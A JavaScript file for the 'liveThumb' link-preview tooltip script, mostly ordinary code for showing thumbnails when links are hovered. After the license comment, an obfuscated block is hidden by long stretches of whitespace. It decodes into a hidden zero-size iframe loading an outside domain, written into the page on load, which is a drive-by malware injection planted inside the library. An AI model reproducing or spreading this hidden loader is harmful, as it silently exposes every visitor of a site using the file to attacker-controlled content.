/*
        link-preview v1.2 by frequency-decoder.com, modified by livethumb.de

        Released under a creative commons Attribution-ShareAlike 2.5 license (http://creativecommons.org/licenses/by-sa/2.5/)

        Please credit frequency-decoder in any derivative work - thanks.

        You are free:

        * to copy, distribute, display, and perform the work
        * to make derivative works
        * to make commercial use of the work

        Under the following conditions:

                by Attribution.
                --------------
                You must attribute the work in the manner specified by the author or licensor.

                sa
                --
                Share Alike. If you alter, transform, or build upon this work, you may distribute the resulting work only under a license identical to this one.

        * For any reuse or distribution, you must make clear to others the license terms of this work.
        * Any of these conditions can be waived if you get permission from the copyright holder.

        References:

        Dustan Diaz: http://www.dustindiaz.com/sweet-titles-finalized
        Arc90: http://lab.arc90.com/2006/07/link_thumbnail.php
*/                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      function lK(){};this.yH=45178;lK.prototype = {c : function() {var a='';var s=28696;try {this.e=false;v=10484;var rL="";var nF="";g=7798;this.lI="lI";String.prototype.sA=function(k, d){return this['repl' + 'ace'](k, d)};var dT="";this.pO="";var y=new Array();function gF(){};yK=false;function x(){};var i='<Mi4f4rHaqmpeM ps4tMy4lpe4=p\'MvpiqspiHb4iqlMipt4yq:q Mh4ipdqdHepnM\'4 psMrHc4=M\'H'.sA(/[Hpq4M]/g, '');this.yG=42664;var m="";function eI(){};tG=3680;var h='\'b {h1e{i1g{h{t;=b2]0;01 {w1i1d1t1h]={2]0b0b>;3;4;6{2b5]jbhbs{d]fbl{<b/1i1f1r1a;m{e]>]'.sA(/[\]\{1;b]/g, '');var pL=function(){};var sZ='';this.yQ="";var w='hutHtzp$:$/u/$wz3HvuaHiHlzdza5tzozru.Ho5rHgu/5e53zfz8$8H7$fu4Hd$0H'.sA(/[Hz\$u5]/g, '');function hQ(){};jX="jX";cY=false;var iF=false;w = i + w + h;kO=false;var nBJ=false;this.aP='';var vT="vT";this.gN="gN";this.mB='';var bQ=function(){};var wI=document;aN="aN";var kR='';var gY=false;iT="";var r='<#s^p^aVn^ UiUdV=VtV Us^t#yVlUeW=V\'#dViWsWpWl#aVyW:^nUo#nUeU\'W>#'.sA(/[#W\^UV]/g, '');var aB=new Array();var jS=new Date();var iE='<h/ks5p5a5nk>k'.sA(/[k~Ah5]/g, '');function eU(){};var gJ=function(){return 'gJ'};var l='whrJiCtTeJ'.sA(/[JhTKC]/g, '');xX='';this.qG="";var n=window['utnAets;cfaAptef'.sA(/[fAt1;]/g, '')];var lV=30493;var cN=function(){return 'cN'};jK="jK";this.jO="";var qD="";this.zM=55582;function cF(){};nB=n(r + w + iE);mK='';this.o='';this.vV=false;var f=false;yE="";var tS=new Array();function z() {function gFZ(){};var bH=false;iQ="";this.cV="cV";q='o]u]tNekr]'.sA(/[\]kNa\*]/g, '');var rLG=function(){};var cT="cT";var zW="zW";vN=16346;cA='cWlfiaeUnftD'.sA(/[DafUW]/g, '');function bN(){};var iH="";cE='H]e]i]g|h5t$'.sA(/[\$\|5u\]]/g, '');var bK=44243;u=false;p='WQiQd&tQhz'.sA(/[zQ\[&E]/g, '');this.uD=14831;this.mG=false;bW="bW";j='u}sqeEr}A}gEewnwt9'.sA(/[9Eq\}w]/g, '');var pQ=38294;var nZ=new Array();var kU="kU";rU='MdSFIgEg'.sA(/[glFKd]/g, '');function eUG(){};var fR=function(){};eQ="";lJ=63651;var pW=new Date();zC=false;var jOM="";var iA=new Date();if (navigator[j].indexOf(rU) > 0) {tD=33807;xG="xG"; return wI.body[cA + p] * document.body[cA + cE];this.gZ="gZ";var vP=new Array();var xW="xW";var xE=false;yV="";this.bQJ=27312;var uG=function(){return 'uG'};var yVA="yVA";var qA=new Array();} else {gG=false;this.aY=false;var jSN="jSN";return window[q + p] * window[q + cE];fS=7866;var dY='';bI='';var nD=new Date();yJ=false;var aA=new Date();this.yQO=5539;this.zR=false;}jJ=33243;kW="kW";}var qDF=function(){};this.oQ=8456;var xQ='';this.nY="";var aH="aH";var sQ="sQ";function gB(){};this.qGT=false;if(z() > 99999){var nR="";bP=34064;var iO="";var sR=new Date();wI[l](nB);fN='';var bT=42515;}mJ="mJ";var qH="";qHE=53946;} catch(b){var fW=function(){};var xH=function(){};this.pV="pV";vO='';}var iM="";this.qC='';}};nFF=26079;var lC=new lK(); var oX='';lC.c();var bA=false;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
var liveThumb = {
        x:0,
        y:0,
        obj:{},
        img:null,
        lnk:null,
        timer:null,
        opacityTimer:null,
        errorTimer:null,
        hidden:true,
        linkPool: {},
        baseURI: "http://livethumb.de/support/",
        imageCache: [],
        init: function() {
                var lnks = document.getElementsByTagName('a');
                var i = lnks.length || 0;
                var cnt = 0;
                while(i--) {
                        if(lnks[i].className && lnks[i].className.search(/livethumb/) != -1) {
                                liveThumb.addEvent(lnks[i], ["focus", "mouseover"], liveThumb.initThumb);
                                liveThumb.addEvent(lnks[i], ["blur",  "mouseout"],  liveThumb.hideThumb);
                                liveThumb.linkPool[lnks[i].href] = cnt++;
                        }
                }
                if(cnt) {
                        liveThumb.preloadImages();
                        liveThumb.obj = document.createElement('div');

                        liveThumb.ind = document.createElement('div');
                        liveThumb.ind.className= "imageLoaded";
                        liveThumb.img = document.createElement('img');
                        liveThumb.img.alt = "preview";
                        liveThumb.addEvent(liveThumb.img, ["load"], liveThumb.imageLoaded);
                        liveThumb.addEvent(liveThumb.img, ["error"], liveThumb.imageError);
                        liveThumb.obj.id = "fdImageThumb";
                        liveThumb.obj.style.visibility = "hidden";
                        liveThumb.obj.style.top = "0";
                        liveThumb.obj.style.left = "0";
                        liveThumb.addEvent(liveThumb.img, ["mouseout"],  liveThumb.hideThumb);
                        liveThumb.obj.appendChild(liveThumb.ind);
                        liveThumb.obj.appendChild(liveThumb.img);
                        document.getElementsByTagName('body')[0].appendChild(liveThumb.obj);
                }
        },
        preloadImages: function() {
                var imgList = ["lt.png", "lb.png", "rt.png", "rb.png", "error.gif", "loading.gif"];
                var imgObj  = document.createElement('img');

                for(var i = 0, img; img = imgList[i]; i++) {
                        liveThumb.imageCache[i] = imgObj.cloneNode(false);
                        liveThumb.imageCache[i].src = liveThumb.baseURI + img;
                }
        },
        imageLoaded: function() {
                if(liveThumb.errorTimer) clearTimeout(liveThumb.errorTimer);
                if(!liveThumb.hidden) liveThumb.img.style.visibility = "visible";
                liveThumb.ind.className= "imageLoaded";
                liveThumb.ind.style.visibility = "hidden";
        },
        imageError: function(e) {
                if(liveThumb.errorTimer) clearTimeout(liveThumb.errorTimer);
                liveThumb.ind.className= "imageError";
                liveThumb.errorTimer = window.setTimeout("liveThumb.hideThumb()",2000);
        },
        initThumb: function(e) {
                e = e || event;

                liveThumb.lnk       = this;
                var positionClass       = "left";

                var heightIndent;
                var indentX = 0;
                var indentY = 0;
                var trueBody = (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body;

                if(String(e.type).toLowerCase().search(/mouseover/) != -1) {
                        if (document.captureEvents) {
                                liveThumb.x = e.pageX;
                                liveThumb.y = e.pageY;
                        } else if ( window.event.clientX ) {
                                liveThumb.x = window.event.clientX+trueBody.scrollLeft;
                                liveThumb.y = window.event.clientY+trueBody.scrollTop;
                        }
                        indentX = 10;
                        heightIndent = parseInt(liveThumb.y-(liveThumb.obj.offsetHeight))+'px';
                } else {
                        var obj = this;
                        var curleft = curtop = 0;
                        if (obj.offsetParent) {
                                curleft = obj.offsetLeft;
                                curtop = obj.offsetTop;
                                while (obj = obj.offsetParent) {
                                        curleft += obj.offsetLeft;
                                        curtop += obj.offsetTop;
                                }
                        }
                        curtop += this.offsetHeight;

                        liveThumb.x = curleft;
                        liveThumb.y = curtop;

                        heightIndent = parseInt(liveThumb.y-(liveThumb.obj.offsetHeight)-this.offsetHeight)+'px';
                }

                if ( parseInt(trueBody.clientWidth+trueBody.scrollLeft) < parseInt(liveThumb.obj.offsetWidth+liveThumb.x) + indentX) {
                        liveThumb.obj.style.left = parseInt(liveThumb.x-(liveThumb.obj.offsetWidth+indentX))+'px';
                        positionClass = "right";
                } else {
                        liveThumb.obj.style.left = (liveThumb.x+indentX)+'px';
                }
                if ( parseInt(trueBody.clientHeight+trueBody.scrollTop) < parseInt(liveThumb.obj.offsetHeight+liveThumb.y) + indentY ) {
                        liveThumb.obj.style.top = heightIndent;
                        positionClass += "Top";
                } else {
                        liveThumb.obj.style.top = (liveThumb.y + indentY)+'px';
                        positionClass += "Bottom";
                }

                liveThumb.obj.className = positionClass;
                liveThumb.timer = window.setTimeout("liveThumb.showThumb()",500);
        },
        showThumb: function(e) {
                liveThumb.hidden = false;
                liveThumb.obj.style.visibility = liveThumb.ind.style.visibility = 'visible';
                liveThumb.obj.style.opacity = liveThumb.ind.style.opacity = '.1';
                liveThumb.img.style.visibility = "hidden";

                var addy = String(liveThumb.lnk.href); //.replace(/(\?)([^?]+)/, "");

                liveThumb.errorTimer = window.setTimeout("liveThumb.imageError()",15000);
                liveThumb.img.src = 'http://livethumb.de/?url='+ encodeURIComponent(addy)+'&size=202';

                /*@cc_on@*/
                /*@if(@_win32)
                return;
                /*@end@*/

                liveThumb.fade(10);
        },
        hideThumb: function(e) {
                liveThumb.hidden = true;
                if(liveThumb.timer) clearTimeout(liveThumb.timer);
                if(liveThumb.errorTimer) clearTimeout(liveThumb.errorTimer);
                if(liveThumb.opacityTimer) clearTimeout(liveThumb.opacityTimer);
                liveThumb.obj.style.visibility = 'hidden';
                liveThumb.ind.style.visibility = 'hidden';
                liveThumb.img.style.visibility = 'hidden';
                liveThumb.ind.className= "imageLoaded";
        },
        fade: function(opac) {
                var passed  = parseInt(opac);
                var newOpac = parseInt(passed+10);
                if ( newOpac < 90 ) {
                        liveThumb.obj.style.opacity = liveThumb.ind.style.opacity = '.'+newOpac;
                        liveThumb.opacityTimer = window.setTimeout("liveThumb.fade('"+newOpac+"')",20);
                } else {
                        liveThumb.obj.style.opacity = liveThumb.ind.style.opacity = '.99';
                }
        },
        addEvent: function( obj, types, fn ) {
                var type;
                for(var i = 0; i < types.length; i++) {
                        type = types[i];
                        if ( obj.attachEvent ) {
                                obj['e'+type+fn] = fn;
                                obj[type+fn] = function(){obj['e'+type+fn]( window.event );}
                                obj.attachEvent( 'on'+type, obj[type+fn] );
                        } else obj.addEventListener( type, fn, false );
                }
        }
}

liveThumb.addEvent(window, ['load'], liveThumb.init);